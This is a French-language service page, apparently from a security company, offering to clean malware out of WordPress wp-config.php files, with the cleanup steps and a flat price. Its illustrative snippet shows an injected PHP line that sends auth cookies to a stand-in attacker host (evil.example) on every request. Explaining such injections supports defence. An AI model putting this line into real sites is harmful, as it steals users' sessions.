wp-config.php malware cleanup.

§ 01 — MÉCANISME

wp-config.php est le pire endroit pour qu’un attaquant plante du code.

wp-config.php se charge à chaque requête WordPress, avant même que WordPress ne puisse filtrer quoi que ce soit. Un attaquant qui modifie ce fichier peut exécuter du code à chaque page, capter chaque connexion, ou ajouter des admins cachés qui n’apparaissent pas dans le tableau de bord.

Dès que wp-config.php a été touché, vos salts, le mot de passe de la base et les clés d’authentification doivent être considérés comme compromis. On tourne tout dans le cadre du nettoyage, pas en option payante.

01 02 // Legitimate wp-config starts with constants.
03 define('DB_NAME', 'wp_database');
04
05 // Injected — sends auth cookies to attacker on every request:
06 @file_get_contents("http://evil.example/c?d=" . $_COOKIE);

§ 02 — CE QUE NOUS SUPPRIMONS

Chaque ligne, chaque clé, chaque compte.

• [ TRIAGE DES PLUGINS ]

  wp-config.php comparé ligne par ligne à une base saine. Chaque ligne non standard est examinée.

• [ WP-CONFIG ]

  Code injecté retiré. Lignes include/require parasites pointant vers des fichiers inconnus — auditées et supprimées.

• [ CLÉS ]

  AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY et leurs salts tournés. Toutes les sessions invalidées.

• [ BASE DE DONNÉES ]

  Utilisateurs admin cachés supprimés. Charges autoloaded de wp_options auditées pour toute persistance liée.

• [ DURCISSEMENT ]

  Permissions de wp-config.php resserrées. Règles .htaccess et Nginx ajoutées pour interdire l’accès direct.

• [ RAPPORT ]

  Rapport médico-légal en langage clair : à quoi l’attaquant avait accès, ce qui a été tourné, ce qu’il vous reste à faire.

§ TARIFS

Forfait $279. Une seule fois. Par site.